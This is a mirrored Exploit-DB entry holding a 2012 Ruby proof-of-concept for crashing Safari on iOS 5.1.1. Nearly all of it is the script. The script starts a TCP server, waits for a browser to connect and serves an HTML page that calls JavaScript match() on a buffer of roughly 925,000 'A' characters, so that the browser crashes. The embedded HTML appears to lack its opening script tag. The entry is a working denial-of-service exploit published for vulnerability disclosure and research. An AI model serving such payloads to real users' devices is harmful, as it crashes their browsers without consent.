Apple iOS 5.1.1 Safari Browser – ‘JS match()’ / ‘search()’ Crash (PoC) - 体验盒子

作者： Alberto Ortega

日期： 2012-05-25

类别：

dos

平台：

ios

来源：https://www.exploit-db.com/exploits/18931/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

#!/usr/bin/env ruby

# - Title

# iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC

# - Author

# Alberto Ortega @a0rtega

# alberto[@]pentbox[.]net

# - Summary

# A vulnerability has been discovered in Apple Safari Browser

# included in the last version of iOS (5.1.1).

#

# Previous versions may be affected too.

#

# When JavaScript function match() gets a big buffer as

# parameter the browser unexpectedly crashes.

#

# By extension, the function search() is affected too.

#

# Tested on iOS 5.0.1, 5.1.0, 5.1.1

# Tested on iPod Touch, iPhone and iPad iOS devices.

require "socket"

require "optparse"

# Buffer values

chr = "A"

# The size of buffer needed may vary depending

# on the device and the iOS version.

buffer_len = 925000

# Magic packet

body = "\

<html>\n\

<head><title>Crash PoC</title></head>\n\

var s = \"poc\";\n\

s.match(\"#{chr*buffer_len}\");\n\

</script>\n\

</html>";

def help()

puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"

puts "#{$0} -p bind_port [-h bind_address] [--verbose]"

end

# Parsing options

opts = {}

optparser = OptionParser.new do |op|

op.on("-h", "--host HOST") do |p|

opts["host"] = p

end

op.on("-p", "--port PORT") do |p|

opts["port"] = p

end

op.on("-v", "--verbose") do |p|

opts["verbose"] = true

end

begin

optparser.parse!

rescue

help()

exit 1

end

if (opts.length == 0 || opts["port"] == nil)

help()

exit 1

end

if (opts["verbose"] != nil)

debug = true

else

debug = false

end

if (opts["host"] != nil)

host = opts["host"]

else

host = "0.0.0.0"

end

port = opts["port"]

# Building server

if debug

puts "Buffer -> #{chr}*#{buffer_len}"

end

begin

serv = TCPServer.new(host, port)

puts "Listening on #{host}:#{port.to_s} ..."

rescue

puts "Error listening on #{host}:#{port.to_s}"

exit 1

end

begin

s = serv.accept()

if debug

puts "Client connected, waiting petition ..."

end

data = s.recv(1000)

if debug

puts "Sending crafted packet ..."

end

s.print(body)

if debug

puts "Closing connection ..."

end

s.close()

puts "Done!"

rescue

puts "Error sending data"

exit 1

end